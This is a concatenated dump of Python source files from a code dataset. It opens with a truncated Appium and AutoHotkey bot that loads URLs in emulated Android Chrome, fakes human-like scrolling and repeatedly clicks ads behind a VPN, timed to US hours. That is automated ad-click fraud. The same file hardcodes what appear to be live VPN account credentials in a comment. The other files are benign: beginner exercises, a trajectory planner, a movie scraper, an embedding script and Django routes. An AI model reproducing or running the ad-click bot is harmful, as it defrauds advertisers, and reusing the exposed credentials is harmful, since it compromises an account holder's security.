app_args.auto_ahk_file_prex),\n shell=True)\n all_sub_process.append(proc)\n return_code = proc.wait()\n logger.info(return_code)\n return 1\n\n except Exception:\n logger.exception(\"Error:\")\n finally:\n time.sleep(5)\n\n return 0\n\n\ndef start_scroll_up_to_down():\n return common_process_call(\"Trying start_scroll_up_to_down...\", ['AutoHotkey', 'scrolluptodown.ahk'])\n\n\ndef start_auto_scroll_up_or_down():\n return common_process_call(\"Trying start_auto_scroll_up_or_down...\", ['AutoHotkey', 'scrollupordown.ahk'])\n\n\ndef start_vpn():\n return common_process_call(\"Trying start_vpn...\", ['AutoHotkey', 'runvpn.ahk'])\n\n\ndef auto_click_ads():\n return common_process_call(\"Trying click ads...\", ['AutoHotkey', 'clickads.ahk'])\n\n\ndef auto_close_tab_page():\n return common_process_call(\"Trying auto_close_tab_page...\", ['AutoHotkey', 'closetab.ahk'])\n\n\ndef starup(want_open_url, app_args):\n has_error = False\n now_driver_id = get_random_driver_id()\n try:\n desired_caps = {\n 'platformName': 'Android',\n 'platformVersion': '5.1.1',\n 'deviceName': app_args.dest_device,\n \"udid\": app_args.dest_device, # \"127.0.0.1:21533\", 查看:设备通讯端口,adb devices。 https://www.cnblogs.com/Nefeltari/p/5603163.html\n 'unicodeKeyboard': True,\n 'resetKeyboard': True,\n 'browserName': 'Chrome',\n 'nativeWebScreenshot': True,\n 'androidScreenshotPath': 'target/screenshots',\n # 'appPackage': 'com.android.chrome',\n 'clearSystemFiles': True,\n 'avdLaunchTimeout': 60000,\n 'avdReadyTimeout': 60000,\n # 'noReset': False,\n 'gpsEnabled': True,\n # 'appActivity': 'BrowserActivity',\n 'newCommandTimeout': 60000,\n 'autoWebviewTimeout': 60000,\n # 'appWaitDuration': 30000,\n 'chromeOptions': {\n # 为了防止出现Chrome的欢迎界面,你需要开启模拟器或者真机的开发者Debug选项。这个选项在手机或者模拟器的“设置”中\n 'args': [\n '--disable-fre',\n '--disable-popup-blocking',\n '--disable-infobars',\n '--allow-running-insecure-content',\n '--no-first-run',\n '--disable-web-security',\n # '--user-data-dir=/data/data/com.android.chrome/cache',\n '--test-type'\n ]\n },\n }\n\n # expressVPN:\n # app.romanysoft@gmail.com\n # hGFjNk5R\n # EUONFNPKASP5WXYVCEVOUEA\n\n logger.info(\"Starting webdriver ...\")\n logger.info(\"remote server address : %s\" % app_args.remote_server)\n\n globals_drivers[now_driver_id] = webdriver.Remote(app_args.remote_server, desired_caps)\n cur_driver = globals_drivers[now_driver_id]\n\n # 获取屏幕的size\n try:\n size = cur_driver.get_window_size()\n logger.info(\"Device Size = {}\".format(size))\n except Exception:\n pass\n\n logger.info(\"Open %s\" % want_open_url)\n\n global_config['run_to_get_urls_count'] = global_config['run_to_get_urls_count'] + 1\n logger.info(\"This is already an attempt to open a Web page = %d \" % (global_config['run_to_get_urls_count']))\n\n # 设置加载时间超时处理\n max_page_load_timeout = random.randint(90, 180) # 加大支持timeout的时间, 让浏览更逼真\n max_script_timeout = random.randint(60, 90) # 加大支持脚本执行的timeout时间,让浏览更逼真\n\n # 是否开启快速浏览模式\n # 快速浏览模式,将降低很多指标参数,不点击广告等等\n # enable_quick_browser_mode = round(random.uniform(0.1, 12), 2) <= random.randint(3, 6)\n enable_quick_browser_mode = get_enable_quick_browser_mode()\n if enable_quick_browser_mode:\n logger.info(\"开启快速浏览模式 ....\")\n max_page_load_timeout = random.randint(60, 90)\n max_script_timeout = random.randint(30, 60)\n\n # 设置加载及延时时间控制\n globals_drivers[now_driver_id].set_page_load_timeout(max_page_load_timeout)\n globals_drivers[now_driver_id].set_script_timeout(max_script_timeout)\n\n # 打开网页\n try:\n # 移除可以停止的标志文件\n RunningHelper.remove_can_stop_vm_flag_file(RunningHelper.get_flag_file(app_args.vmid))\n # 执行打开网页\n globals_drivers[now_driver_id].get(want_open_url)\n except Exception:\n logger.exception(\"Error:\")\n logger.info('time out after %d seconds when loading page' % max_page_load_timeout)\n\n # print(u\"正在获取当前环境 ...\")\n # 获取当前上下文环境\n # current_context = driver.current_context\n # contexts = driver.contexts\n\n # 可以滚动一下\n cfg_enable_auto_scroll = True\n if cfg_enable_auto_scroll:\n logger.info(\"网页已经加载完成,可以从上到下滚动了 ...\")\n start_scroll_up_to_down()\n time.sleep(random.randint(15, 30))\n\n # 随机回滚一下\n cfg_enable_scroll_up = True and round(random.uniform(1, 12), 2) >= 3\n if cfg_enable_scroll_up:\n time.sleep(random.randint(3, 5))\n logger.info(\"现在可以向上滚动页面了 ...\")\n start_auto_scroll_up_or_down()\n\n # 让网页自己休息一会\n cfg_enable_web_wait = 1\n if cfg_enable_web_wait == 1:\n logger.info(\"让网页自己先安静一下...\")\n min_sleep_secs = random.randint(5, 30)\n time.sleep(min_sleep_secs)\n\n # 判断是否为快速浏览模式\n if enable_quick_browser_mode:\n start_auto_scroll_up_or_down()\n time.sleep(3)\n\n if round(random.uniform(1, 12), 2) >= 5:\n start_auto_scroll_up_or_down()\n time.sleep(3)\n\n if app_args.enalbe_ads: # 如果可以点击\n auto_click_ads()\n\n start_auto_scroll_up_or_down()\n time.sleep(random.randint(5, 25))\n\n # 非快速浏览模式,可以尝试点击广告\n else:\n # 可以尝试点击广告了\n logger.info(\"尝试点击广告...\")\n start_auto_scroll_up_or_down()\n auto_click_ads()\n cfg_enable_web_wait_after_ads = 1\n\n if cfg_enable_web_wait_after_ads == 1:\n logger.info(\"点击广告后,需要等待一会...\")\n if round(random.uniform(1, 12), 2) >= 5:\n time.sleep(10)\n\n start_auto_scroll_up_or_down()\n\n if round(random.uniform(1, 12), 2) >= 5:\n time.sleep(5)\n start_auto_scroll_up_or_down()\n auto_click_ads()\n\n if round(random.uniform(1, 12), 2) >= 5:\n min_sleep_secs = random.randint(15, 30)\n time.sleep(min_sleep_secs)\n start_auto_scroll_up_or_down()\n\n # 停顿后,可以执行点击操作广告工作,也可以点击关闭标签的操作\n if round(random.uniform(1, 12), 2) >= 3:\n time.sleep(random.randint(1, 10))\n auto_click_ads()\n start_auto_scroll_up_or_down()\n\n if round(random.uniform(1, 12), 2) >= 4:\n time.sleep(random.randint(1, 10))\n auto_click_ads()\n start_auto_scroll_up_or_down()\n\n if round(random.uniform(1, 12), 2) >= 5:\n time.sleep(random.randint(1, 10))\n start_auto_scroll_up_or_down()\n\n if round(random.uniform(1, 12), 2) >= 6:\n time.sleep(random.randint(1, 10))\n auto_click_ads()\n start_auto_scroll_up_or_down()\n\n # 自动关闭标签页面\n auto_close_tab_page()\n if round(random.uniform(1, 12), 2) >= 5:\n time.sleep(random.randint(2, 5))\n\n # 关闭后台进程\n stop_all_back_procs(all_sub_process)\n\n # 浏览完成后,可以关闭了\n logger.info(\"浏览网页完成,即将关闭该网页...\")\n\n has_error = False\n global_config['run_count'] = global_config['run_count'] + 1\n except Exception:\n logger.exception(\"Error:\")\n has_error = True\n finally:\n logger.info(\"pages that are currently open count = %d\" % global_config['run_count'])\n try:\n globals_drivers[now_driver_id].quit()\n # 创建可以关闭VM的标记文件\n RunningHelper.create_can_stop_vm_flag_file(RunningHelper.get_flag_file(app_args.vmid))\n except Exception:\n logger.exception(\"Error:\")\n if has_error:\n # 重新开启刷屏处理\n browser_boot(app_args)\n if global_config['run_count'] > global_config['max_urls_count']:\n sys_exit(\"The number of pages opened has reached the maximum requirement\")\n\n\ndef get_enable_quick_browser_mode():\n # Step1: 检测时间是否在范围内\n time_enable_ads_browser = False\n cur_time = time.localtime()\n cur_time_hour = int(cur_time.tm_hour)\n\n # 中国晚上的情况,美国区的上午到中午\n if cur_time_hour in range(18, 25):\n time_enable_ads_browser = True and round(random.uniform(1, 12), 2) >= 2\n\n # 中国凌晨的情况,美国中午到下午\n elif cur_time_hour in range(0, 12):\n time_enable_ads_browser = True and round(random.uniform(1, 12), 2) >= 1.5\n\n # 中国下午的情况,美国凌晨到上午\n elif cur_time_hour in range(12, 18):\n time_enable_ads_browser = True and round(random.uniform(1, 12), 2) >= 9\n\n try:\n if not app_args.enable_ads: # 如果系统要求不能使用点击广告,启动快速浏览模式\n return True\n finally:\n pass\n\n # Step2: 获取随机范围\n enable_quick_browser_mode = not time_enable_ads_browser\n return enable_quick_browser_mode\n\n\ndef browser_boot(app_args):\n sort_indexs = []\n with open(\"urls.txt\", \"r\") as fhandler:\n all_urls = []\n while True:\n file_url = fhandler.readline()\n if not file_url:\n break\n format_url = file_url.replace('\\n', '')\n all_urls.append(format_url)\n\n for index in range(len(all_urls)):\n sort_indexs.append(index)\n\n logger.info(\"Now process the web page count: %d\" % len(sort_indexs))\n\n # 让列表乱序处理\n random.shuffle(sort_indexs)\n for cur_index in sort_indexs:\n cur_url = all_urls[cur_index]\n cur_url = cur_url.strip()\n if cur_url != '':\n # must check vm is running\n vm_is_running = RunningHelper.is_vm_is_running(app_args.vmid)\n while not vm_is_running:\n vm_is_running = RunningHelper.is_vm_is_running(app_args.vmid)\n time.sleep(2)\n\n starup(cur_url, app_args)\n logger.info(\"Prepare the next web page url ... index=%d\" % cur_index)\n time.sleep(random.randint(6, 12))\n else:\n continue\n\n\ndef stop_all_back_procs(proc_list):\n for proc in proc_list:\n # (1)尝试terminate\n try:\n if proc:\n proc.kill()\n except Exception:\n logger.exception('Error:')\n\n # (2)尝试使用psutil来处理\n try:\n if proc:\n psutil.Process(proc.pid).terminate()\n except Exception:\n logger.exception('Error:')\n\n\ndef keyboardInterruptHandler(signal, frame):\n logger.info(\"KeyboardInterrupt (ID: {}) has been caught. Cleaning up...\".format(signal))\n\n exit(0)\n\n\ndef exit_callback():\n logger.info('exit is done')\n stop_all_back_procs(all_sub_process)\n logger.info('exit ....')\n\n\nif __name__ == \"__main__\":\n try:\n sys.exitfunc = exit_callback\n signal.signal(signal.SIGINT, keyboardInterruptHandler)\n\n # 移除可以停止的标志文件\n RunningHelper.remove_can_stop_vm_flag_file(RunningHelper.get_flag_file(app_args.vmid))\n\n # must check vm is running\n vm_is_running = RunningHelper.is_vm_is_running(app_args.vmid)\n while not vm_is_running:\n vm_is_running = RunningHelper.is_vm_is_running(app_args.vmid)\n time.sleep(2)\n\n if global_use_buildin_vpn:\n start_vpn()\n browser_boot(app_args)\n except Exception:\n logger.exception(\"Error:\")\n finally:\n stop_all_back_procs(all_sub_process)\n exit(0)\n","sub_path":"Python-Books/code-projects/auto-appium-android/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":22952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"525190464","text":"numeros = [0] * 6\n\n# Ler os valores\nfor i in range(6):\n numeros[i] = int(input('Valor: '))\n\n# Verificar se são distintos\ndistintos = True\nfor i in range(6):\n # Verificar se o números da vez (i) é igual algum valor que\n # está após ele (j) na coleção.\n for j in range(i + 1, 6):\n # Se forem iguais, podemos concluir que a coleção não é distinta\n if (numeros[i] == numeros[j]):\n distintos = False\n break # pode parar de verificar\n if (distintos == False):\n break\n\nif (distintos == True):\n print(\"Números distintos\")\nelse:\n print(\"Números não distintos\")\n","sub_path":"semana_09/formulario/questao_03.py","file_name":"questao_03.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"352652872","text":"# function\r\n# function return type \r\nusername = input('Enter user name : ')\r\npassword = input('Enter user password : ')\r\n\r\ndef login():\r\n user = 'micky'\r\n pwd = 'python123'\r\n if user == username and pwd == password:\r\n return 'yes'\r\n else:\r\n print('Login Failed') \r\n\r\ndef deposite():\r\n if login() == 'yes':\r\n print()\r\n print('Welcome to Deposite Section ..')\r\n amount = float(input('Enter amount to deposite : '))\r\n m_amount = 5000\r\n bal = m_amount +amount\r\n print()\r\n print('Total Amount is : ',bal)\r\n else:\r\n print('Try Again')\r\n\r\n\r\ndef withdraw():\r\n if login() == 'yes':\r\n print()\r\n print('Welcome to Withdraw Section ..')\r\n amount = float(input('Enter amount to withdraw : '))\r\n m_amount = 5000\r\n bal = m_amount - amount\r\n print()\r\n print('Balance Amount is : ',bal)\r\n else:\r\n print('Try Again')\r\n\r\n\r\nl1 = ['Deposite : d1','Withdraw : w1']\r\nprint('Welcome to Python Bank ..')\r\nprint()\r\nprint('Services are : ',l1)\r\nprint()\r\nv1 = input('Select your service option : ')\r\nif v1 == 'd1':\r\n deposite()\r\nelif v1 == 'w1':\r\n withdraw() \r\nelse:\r\n print('Service not available..')\r\n\r\n\r\n\r\n\r\n","sub_path":"Core_Python/Day-13/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"77778765","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom math import sin, cos, tan, sqrt, asin, acos\nimport VelocityTrapezoidal\n\nOM = 3\nA = 1\ntheta_0 = 0.2\ndt = 0.001\n\nclass TrapezoidalMotion_mod():\n def __init__(self, max_velocity, max_acceleration_tangential, max_acceleration_normal, initial_pos=0, initial_vel=0, initial_curvature=0, dt=0.001):\n self.MAX_ACCELERATION_TANGENTIAL = max_acceleration_tangential\n self.MAX_ACCELERATION_NORMAL = max_acceleration_normal\n self.MAX_ACCELERATION = sqrt(self.MAX_ACCELERATION_NORMAL**2 + self.MAX_ACCELERATION_TANGENTIAL**2)\n self.MAX_VELOCITY = max_velocity\n\n self.MAX_VELOCITY_var = max_velocity\n \n self.old_pos = initial_pos\n self.old_pos_ref = initial_pos\n self.old_vel = initial_vel\n self.pos = initial_pos\n self.vel = initial_vel\n self.acc = 0\n\n self.total_displacement = self.old_pos_ref - self.old_pos\n\n self.t_a = 0\n self.T = 0\n self.t_f = 0\n self.t_i = 0\n self.delta_time = dt\n self.current_time = 0\n\n self.curvature = self._calc_curvature()\n\n\n def _calc_limited_vel(self):\n velocity = sqrt(self.MAX_ACCELERATION_NORMAL/self._calc_curvature())\n return velocity\n\n def _calc_max_vel(self):\n # print(self._calc_limited_vel(), self.MAX_VELOCITY)\n return min(self.MAX_VELOCITY, self._calc_limited_vel())\n\n\n def _calc_curvature(self):\n x = self.current_time\n dot_f = A*cos(OM*x+theta_0)*OM\n ddot_f = -A*sin(OM*x+theta_0)*OM*OM\n k = abs(ddot_f/(pow((1+dot_f*dot_f),(3/2))))\n return k\n\n def _calc_normal_acceleration(self):\n return self.vel**2*self._calc_curvature()\n\n def _calc_tangential_acceleration(self):\n return (self.vel-self.old_vel)/self.delta_time\n\n def update(self, pos_ref, time):\n self.current_time = time\n self.old_vel = self.vel\n if(self.old_pos_ref != pos_ref):\n self.old_pos = self.pos\n self.old_pos_ref = pos_ref\n self.t_i = time\n\n self.MAX_VELOCITY_var = self._calc_max_vel()\n self.t_a = (self.MAX_VELOCITY_var - abs(self.vel))/self.MAX_ACCELERATION\n self.t_d = (self.vel)/self.MAX_ACCELERATION\n self.total_displacement = abs(pos_ref - self.pos)\n # self.T = t_a + t_d\n self.T = (self.total_displacement*self.MAX_ACCELERATION+self.MAX_VELOCITY_var**2)/(self.MAX_ACCELERATION*self.MAX_VELOCITY_var)\n self.t_f = self.T + time\n\n self.calculateTrapezoidalProfile()\n\n\n def calculateTrapezoidalProfile(self):\n # if(self.t_i <= self.current_time and self.current_time <= self.t_i+self.t_a):\n if(self.delta_time <= self.t_a):\n # print(\"+ Acc\")\n self.pos = self.pos + self.vel*self.delta_time\n # self.pos = self.old_pos + 1/2*self.MAX_ACCELERATION*((self.current_time - self.t_i)**2)\n self.vel = self.vel + self.MAX_ACCELERATION*self.delta_time\n # print(self.vel)\n self.acc = self.MAX_ACCELERATION\n\n # elif(self.t_i + self.t_a < self.current_time and self.current_time <= self.t_f - self.t_a):\n elif(self.delta_time > self.t_a and self.delta_time < self.T - self.t_a - self.t_d):\n # print(\"0 Acc\")\n self.pos = self.pos + self.vel*self.delta_time\n # self.pos = self.old_pos + self.MAX_ACCELERATION*((self.current_time-self.t_i-(self.t_a/2))**2)\n self.vel = self.MAX_VELOCITY_var\n self.acc = 0\n \n # elif(self.t_f - self.t_a < self.current_time and self.current_time <= self.t_f):\n elif(self.delta_time >= self.T - self.t_a - self.t_d and self.delta_time <= self.t_d):\n # print(\"- Acc\")\n self.pos = self.pos + self.vel*self.delta_time\n # self.pos = self.old_pos_ref - (0.5*self.MAX_ACCELERATION*((self.t_f-self.current_time-self.t_i)**2))\n self.vel = self.vel - self.MAX_ACCELERATION*self.delta_time\n self.acc = -self.MAX_ACCELERATION\n\ndef plotter(plot_data):\n # plt.subplot()\n # Add the units to the axis\n\n fig = plt.figure()\n ax = plt.subplot(511)\n ax.plot(plot_data[\"pos_x_setpoint\"], plot_data[\"pos_y_setpoint\"], label=\"Setpoint-Trajectory\")\n ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left',borderaxespad=0.)\n # ax.set(title=\"Position\", xlabel='x(m)', ylabel='y(m)')\n ax.set_title(\"Position\",fontsize=12)\n ax.set_xlabel(\"x(m)\",fontsize=7)\n ax.set_ylabel('y(m)', fontsize=7)\n\n\n ax = plt.subplot(512)\n ax.plot(plot_data[\"time\"], plot_data[\"curvature\"], \"--\", label=\"Curvature\")\n ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left',borderaxespad=0.)\n ax.set_title(\"Curvature vs. Time\",fontsize=12)\n ax.set_xlabel(\"t(s)\",fontsize=7)\n ax.set_ylabel('k', fontsize=7)\n \n ax = plt.subplot(513)\n ax.plot(plot_data[\"pos_x_setpoint\"], plot_data[\"pos_y_setpoint\"], label=\"Setpoint-Trajectory\")\n ax.plot(plot_data[\"time\"], plot_data[\"pos_y_real\"], label=\"Real-Trajectory\")\n ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left',borderaxespad=0.)\n ax.set_title(\"Position\",fontsize=12)\n ax.set_xlabel(\"x(m)\",fontsize=7)\n ax.set_ylabel('y(m)', fontsize=7) \n\n ax = plt.subplot(514)\n ax.plot(plot_data[\"time\"], plot_data[\"velocity\"], label=\"Velocity\")\n ax.plot(plot_data[\"time\"], plot_data[\"max_velocity\"], \"--\", label=\"Max Velocity Planning\")\n ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left',borderaxespad=0.)\n ax.set_title(\"Velocity vs Time\",fontsize=12)\n ax.set_xlabel(\"t(s)\",fontsize=7)\n ax.set_ylabel('v(m/s)', fontsize=7) \n\n ax = plt.subplot(515)\n ax.plot(plot_data[\"time\"], plot_data[\"acceleration\"], label=\"Total Acceleration\")\n ax.plot(plot_data[\"time\"], plot_data[\"acceleration_tangential\"], \"--\", label=\"Tangential Acceleration\")\n ax.plot(plot_data[\"time\"], plot_data[\"acceleration_normal\"], \"--\", label=\"Normal Acceleration\")\n ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left',borderaxespad=0.)\n ax.set_title(\"Acceleration vs Time\",fontsize=12)\n ax.set_xlabel(\"t(s)\",fontsize=7)\n ax.set_ylabel('a\\n(m/s^2)', fontsize=7)\n\n # Add the units to the axis\n fig.canvas.set_window_title('Plotting')\n plt.tight_layout()\n fig.tight_layout()\n\n plt.show()\n\ndef motion_equation(t):\n x = t\n y = A*sin(OM*x+theta_0)\n return x,y\n\ndef const_motion(t, y_const=1):\n x = t\n y = y_const\n return x,y\n\ndef const_step_motion(t, t_change=1, y_const=1):\n if(t < t_change):\n return const_motion(t, y_const=1)\n else:\n return motion_equation(t)\n \n\ndef main(time):\n total_steps = int(time/dt)\n\n MAX_VELOCITY = 1.5\n MAX_ACCELERATION_TANGENTIAL = 10\n MAX_ACCELERATION_NORMAL = 6\n MAX_ACCELERATION = sqrt(MAX_ACCELERATION_TANGENTIAL**2 + MAX_ACCELERATION_NORMAL**2)\n \n traj_planner = TrapezoidalMotion_mod(max_velocity=MAX_VELOCITY, max_acceleration_normal=MAX_ACCELERATION_NORMAL, max_acceleration_tangential=MAX_ACCELERATION_TANGENTIAL, initial_pos=motion_equation(0)[1], initial_vel=0, dt=dt)\n # In this planner we don't care about the limits related to the normal or tangential acceleration which leads to not having the correct constraint to the max velocity which is function of curvature and max tangential acceleration\n traj_planner2 = VelocityTrapezoidal.TrapezoidMotion(max_velocity=MAX_VELOCITY,max_acceleration=MAX_ACCELERATION, initial_pos=motion_equation(0))\n\n\n plot_data = {\"time\": [0],\n \"pos_x_setpoint\": [0], \"pos_y_setpoint\": [motion_equation(0)[1]], \"curvature\": [traj_planner._calc_curvature()],\n \"pos_y_real\": [0],\n \"velocity\": [0], \"velocity_x\": [0], \"velocity_y\": [0], \"max_velocity\": [0],\n \"acceleration\": [0], \"acceleration_tangential\": [0], \"acceleration_normal\": [0],\n\n \"pos_y_real2\": [0],\n \"velocity2\": [0],\n \"acceleration2\": [0]}\n\n for s in range(1, total_steps):\n pos = motion_equation(s*dt)\n # pos = const_motion(s*dt)\n # pos = const_step_motion(s*dt)\n traj_planner.update(pos[1], s*dt)\n traj_planner2.update(pos[1], s*dt)\n curvature = traj_planner._calc_curvature()\n\n plot_data[\"pos_x_setpoint\"].append(pos[0])\n plot_data[\"pos_y_setpoint\"].append(pos[1])\n plot_data[\"max_velocity\"].append(traj_planner.MAX_VELOCITY_var)\n # plot_data[\"pos_y_real\"].append(traj_planner.pos)\n plot_data[\"pos_y_real\"].append(traj_planner2.pos)\n plot_data[\"velocity\"].append(traj_planner.vel)\n plot_data[\"acceleration\"].append(sqrt(traj_planner._calc_normal_acceleration()**2 + traj_planner._calc_tangential_acceleration()**2))\n plot_data[\"acceleration_tangential\"].append(traj_planner._calc_tangential_acceleration())\n plot_data[\"acceleration_normal\"].append(traj_planner._calc_normal_acceleration())\n \n plot_data[\"curvature\"].append(curvature) \n plot_data[\"time\"].append(s*dt)\n\n plotter(plot_data)\n\n\nif __name__ == \"__main__\":\n main(4)\n","sub_path":"Assignment1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"49463420","text":"\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef main():\n url = \"https://movie.douban.com/cinema/later/beijing/\"\n head = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36',\n 'Referer': 'https://time.geekbang.org/column/article/101855',\n 'Connection': 'keep-alive'}\n init_page = requests.get(url,headers=head).content\n init_soup = BeautifulSoup(init_page, 'lxml')\n\n all_movies = init_soup.find('div', id=\"showing-soon\")\n for each_movie in all_movies.find_all('div', class_=\"item\"):\n all_a_tag = each_movie.find_all('a')\n all_li_tag = each_movie.find_all('li')\n\n movie_name = all_a_tag[1].text\n url_to_fetch = all_a_tag[1]['href']\n movie_date = all_li_tag[0].text\n\n response_item = requests.get(url_to_fetch,headers=head).content\n soup_item = BeautifulSoup(response_item, 'lxml')\n img_tag = soup_item.find('img')\n\n print('{} {} {}'.format(movie_name, movie_date, img_tag['src']))\n\n\nmain()\n","sub_path":"Y2021/core-python-demo/demo/douban.py","file_name":"douban.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"234319646","text":"# coding: utf-8\n__author__ = \"2019/3/27 12:03\"\n__time__ = \"Quzard\"\n\n\ndef find_minimum(array):\n if len(array) == 0:\n return None\n smallest_index = 0\n smallest = array[smallest_index]\n for i in range(len(array)):\n if smallest > array[i]:\n smallest = array[i]\n smallest_index = i\n return smallest_index\n\n\ndef choose_sort(array):\n new_list = []\n for i in range(len(array)):\n new_list.append(array.pop(find_minimum(array)))\n return new_list\n","sub_path":"选择排序.py","file_name":"选择排序.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"118487727","text":"\ndef standard_interpolation(dataframe, name_to_interp=None, axis=1):\n \"\"\"Interpolate data by splitting the difference between \n increment years over intermediate years\n\n Args:\n dataframe (df): dataset to interpolate\n name_to_interp (str): name of columm if dataframe has\n year index\n axis (int or str): if 1 or \"columns\" interpolate \n over column, if 0 or \"index\", \n interpolate over row\n\n\n Returns:\n dataframe [df]: dataframe with \n interpolated data\n \"\"\" \n if axis == 1 | axis == 'columns': \n if name_to_interp:\n increment_years = list(dataframe[[name_to_interp]].dropna().index)\n else:\n raise AttributeError('standard_interpolation method missing name_to_interp')\n\n elif axis == 0 | axis == 'index': \n increment_years = list(dataframe.columns)\n\n\n for index, y_ in enumerate(increment_years):\n if index > 0:\n year_before = increment_years[index - 1]\n num_years = y_ - year_before\n resid_year_before = dataframe.xs(year_before)['residual']\n resid_y_ = dataframe.xs(y_)['residual']\n increment = 1 / num_years\n for delta in range(num_years):\n value = resid_year_before * (1 - increment * delta) + \\\n resid_y_ * (increment * delta)\n year = year_before + delta\n dataframe.loc[year, 'interp_resid'] = value\n return dataframe","sub_path":"EnergyIntensityIndicators/utilites/standard_interpolation.py","file_name":"standard_interpolation.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"477862888","text":"# Authors: Avrahami Israeli (isabrah)\r\n# Python version: 3.7\r\n# Last update: 24.4.2019\r\n\r\n#! /usr/bin/env python\r\nimport os\r\nimport sys\r\nif sys.platform == 'linux':\r\n sys.path.append('/data/home/isabrah/reddit_canvas/reddit_project_with_yalla_cluster/reddit-tools')\r\nimport datetime\r\nimport commentjson\r\nimport sys\r\nimport r_place_drawing_classifier.pytorch_cnn.utils as pytorch_cnn_utils\r\nfrom srs_words_embedding.utils import sentences_yielder\r\nimport pickle\r\nfrom gensim.test.utils import common_texts, get_tmpfile\r\nfrom gensim.models import Word2Vec\r\nfrom sr_classifier.reddit_data_preprocessing import RedditDataPrep\r\nimport re\r\n\r\n###################################################### Configurations ##################################################\r\nconfig_dict = commentjson.load(open(os.path.join(os.getcwd(), 'srs_words_emnedding_config.json')))\r\nmachine = 'yalla' if sys.platform == 'linux' else os.environ['COMPUTERNAME']\r\ndata_path = config_dict['data_dir'][machine]\r\n########################################################################################################################\r\nstart_time = datetime.datetime.now()\r\npytorch_cnn_utils.set_random_seed(seed_value=config_dict[\"random_seed\"])\r\n\r\nif __name__ == \"__main__\":\r\n # update args of the configuration dictionary which can be known right as we start the run\r\n config_dict['machine'] = machine\r\n dp_obj = RedditDataPrep(is_submission_data=True, remove_stop_words=False, most_have_regex=None)\r\n sr_objects_path = os.path.join(data_path, 'sr_objects')\r\n sr_files = [f for f in os.listdir(sr_objects_path) if re.match(r'sr_obj.*\\.p', f)]\r\n # looping over all files found in the directory\r\n for loop_idx, f_name in enumerate(sr_files):\r\n cur_sr = pickle.load(open(os.path.join(sr_objects_path, f_name), \"rb\"))\r\n start_time = datetime.datetime.now()\r\n if loop_idx % 10 == 0 and loop_idx != 0:\r\n duration = (datetime.datetime.now() - start_time).seconds\r\n print(\"Finished handling {} sr objects. Took us up to now: {} sec\".format(loop_idx, duration))\r\n full_tok_text = sentences_yielder(dp_obj=dp_obj, sr_obj=cur_sr, config_dict=config_dict, verbose=True)\r\n if len(full_tok_text) < 50:\r\n print(\"sr {} has only {} sentences, skipping it\".format(cur_sr.name, len(full_tok_text)))\r\n continue\r\n model = Word2Vec(full_tok_text, size=300, window=5, min_count=3, workers=20, sg=0)\r\n model.train(sentences=full_tok_text, total_examples=model.corpus_count, epochs=model.epochs)\r\n saving_file = os.path.join(config_dict['data_dir'][machine], \"embedding\", \"embedding_per_sr\")\r\n # check if the directory exists, if not - we'll create one\r\n if not os.path.isdir(saving_file):\r\n os.makedirs(saving_file)\r\n saving_file = os.path.join(saving_file, cur_sr.name + \"_model_\" + str(config_dict[\"model_version\"] + \".model\"))\r\n model.save(saving_file)\r\n duration = (datetime.datetime.now() - start_time).seconds\r\n print(\"Model built for sr {}, corpus size: {}, time: {} sec\".format(cur_sr.name, len(model.wv.vocab), duration))\r\n # model.wv['i'] # will print the numpy vector representation of the word i\r\n # after going over all submissions, we add it to the object itself\r\n # case cv_splits were not initialized before - we'll do it here for the first time\r\n\r\n\r\n\r\n","sub_path":"srs_words_embedding/main_srs_words_embedding.py","file_name":"main_srs_words_embedding.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"88833780","text":"from django.conf.urls import patterns, include, url\nfrom django.conf import settings\nfrom django.views.generic import TemplateView, ListView, DetailView\nfrom news.models import Post\nfrom intros.models import Page\nfrom haystack.views import SearchView\nfrom search.forms import SimpleSearchForm\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'tida.views.home', name='home'),\n # url(r'^tida/', include('tida.foo.urls')),\n \n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n \n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n \n url(r'^/?$', TemplateView.as_view(template_name='index.html')),\n url(r'^account/', include('account.urls')),\n url(r'^news/', include('news.urls')),\n url(r'^contact/', include('contact.urls')),\n url(r'^search/', SearchView(form_class=SimpleSearchForm), name='haystack_search'),\n url(r'^(?P[a-z]+)/$', DetailView.as_view(model=Page,\n context_object_name=\"page\",\n template_name='intros/intro.html')),\n url(r'^dancer/', include('dancer.urls')),\n url(r'^repertory/', include('repertory.urls')),\n url(r'^collection/', include('collection.urls')),\n url(r'^video/', include('video.urls')),\n url(r'^reference/', include('reference.urls')),\n )\n\nif settings.DEBUG:\n urlpatterns += patterns('',\n (r'%s(?P.*)' % settings.MEDIA_URL[1:], 